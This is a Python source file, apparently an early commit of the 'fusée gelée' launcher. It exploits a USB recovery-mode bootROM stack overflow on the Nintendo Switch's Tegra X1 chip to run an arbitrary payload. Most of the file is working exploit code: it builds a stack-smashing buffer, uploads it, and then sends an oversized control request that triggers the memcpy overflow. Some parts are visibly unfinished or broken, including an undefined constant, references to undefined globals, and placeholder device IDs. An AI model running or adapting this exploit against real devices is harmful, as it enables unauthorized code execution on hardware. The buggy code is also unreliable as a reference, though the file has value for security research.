fusee-launcher/fusee-launcher.matcheshash.py
2018-04-23 09:11:57 -06:00

175 lines
5.4 KiB
Python
Executable File

#!/usr/bin/env python3
#
# fusée gelée
#
# Launcher for the {re}switched coldboot/bootrom hacks--
# launches payloads above the Horizon
#
# discovery and implementation by @ktemkin
# likely independently discovered by lots of others <3
#
# special thanks to:
# SciresM, motezazer -- guidance and support
# hedgeberg, andeor -- dumping the Jetson bootROM
# TuxSH -- for IDB notes that were nice to peek at
#
import usb
import time
# notes:
# GET_CONFIGURATION to the DEVICE triggers memcpy from 0x40003982
# GET_INTERFACE to the INTERFACE triggers memcpy from 0x40003984
# GET_STATUS to the INTERFACE triggers memcpy from <on the stack>
class RCMHax:
# FIXME: these are the jetson's; replace me with the Switch's
SWITCH_RCM_VID = 0x0955
SWITCH_RCM_PID = 0X7321
# USB constants used
STANDARD_REQUEST_DEVICE_TO_HOST_TO_DEVICE = 0x80
STANDARD_REQUEST_DEVICE_TO_HOST_TO_ENDPOINT = 0x82
GET_DESCRIPTOR = 0x6
GET_CONFIGURATION = 0x8
# Interface requests
GET_STATUS = 0x0
# Exploit specifics
COPY_START_ADDRESS = 0x40003982
COPY_BUFFER_ADDRESSES = [0x40005000, 0x40009000]
STACK_END = 0x40010000
def __init__(self):
""" Set up our RCM hack connection."""
# The first write into the bootROM touches the lowbuffer.
self.current_buffer = 0
# Grab a connection to the USB device itself.
self.dev = usb.core.find(idVendor=self.SWITCH_RCM_VID, idProduct=self.SWITCH_RCM_PID)
# Keep track of the total amount written.
self.total_written = 0
if self.dev is None:
raise IOError("No Switch found?")
def get_device_descriptor(self):
return self.dev.ctrl_transfer(self.STANDARD_REQUEST_DEVICE_TO_HOST, self.GET_DESCRIPTOR, 1 << 8, 0, 18)
def read(self, length):
""" Reads data from the RCM protocol endpoint. """
return self.dev.read(0x81, length, 1000)
def write(self, data):
""" Writes data to the main RCM protocol endpoint. """
length = len(data)
packet_size = 0x1000
while length:
data_to_transmit = min(length, packet_size)
length -= data_to_transmit
chunk = data[:data_to_transmit]
data = data[data_to_transmit:]
self.write_single_buffer(chunk)
def write_single_buffer(self, data):
"""
Writes a single RCM buffer, which should be 0x1000 long.
The last packet may be shorter, and should trigger a ZLP (e.g. not divisible by 512).
If it's not, send a ZLP.
"""
self._toggle_buffer()
return self.dev.write(0x01, data, 1000)
def _toggle_buffer(self):
"""
Toggles the active target buffer, paralleling the operation happening in
RCM on the X1 device.
"""
self.current_buffer = 1 - self.current_buffer
def get_current_buffer_address(self):
""" Returns the base address for the current copy. """
return self.COPY_BUFFER_ADDRESSES[self.current_buffer]
def read_device_id(self):
""" Reads the Device ID via RCM. Only valid at the start of the communication. """
return self.read(16)
def switch_to_highbuf(self):
""" Switches to the higher RCM buffer, reducing the amount that needs to be copied. """
if switch.get_current_buffer_address() != self.COPY_BUFFER_ADDRESSES[1]:
switch.write(smash_buffer)
def trigger_controlled_memcpy(self, length=None):
""" Triggers the RCM vulnerability, causing it to make a signficantly-oversized memcpy. """
# Determine how much we'd need to transmit to smash the full stack.
if length is None:
length = self.STACK_END - self.get_current_buffer_address()
return self.dev.ctrl_transfer(self.STANDARD_REQUEST_DEVICE_TO_HOST_TO_ENDPOINT, self.GET_STATUS, 0, 0, length)
# Get a connection to our device
switch = RCMHax()
print("Switch device id: {}".format(switch.read_device_id()))
# Prefix the image with an RCM command, so it winds up loaded into memory
# at the right location (0x40010000).
# Use the maximum length so we can transmit as much payload as we want;
# we'll take over before we get to the end.
length = 0x30298
payload = length.to_bytes(4, byteorder='little')
# pad out to 680 so the payload starts at the right address in IRAM
payload += b'\0' * (680 - len(payload))
# for now, populate from [0x40010000, 0x40020000) with the payload address,
# ensuring we smash the stack properly; we can pull this down once we figure
# out the stack frame we're actually in for sure
print("Setting ourselves up to smash the stack...")
payload_location = 0x40020000
payload_location_raw = payload_location.to_bytes(4, byteorder='little')
payload += (payload_location_raw * 16384) # TODO: remove this magic number
# read the payload into memory
with open("payload.bin", "rb") as f:
payload += f.read()
# pad the payload to fill a request exactly
payload_length = len(payload)
padding_size = 0x1000 - (payload_length % 0x1000)
payload += (b'\0' * padding_size)
# send the payload
print("Uploading payload...")
switch.write(payload)
# smash less as a first test
print("Smashing the stack...")
switch.switch_to_highbuf()
try:
switch.trigger_controlled_memcpy()
except IOError:
print("The USB device stopped responding-- sure smells like we've smashed its stack. :)")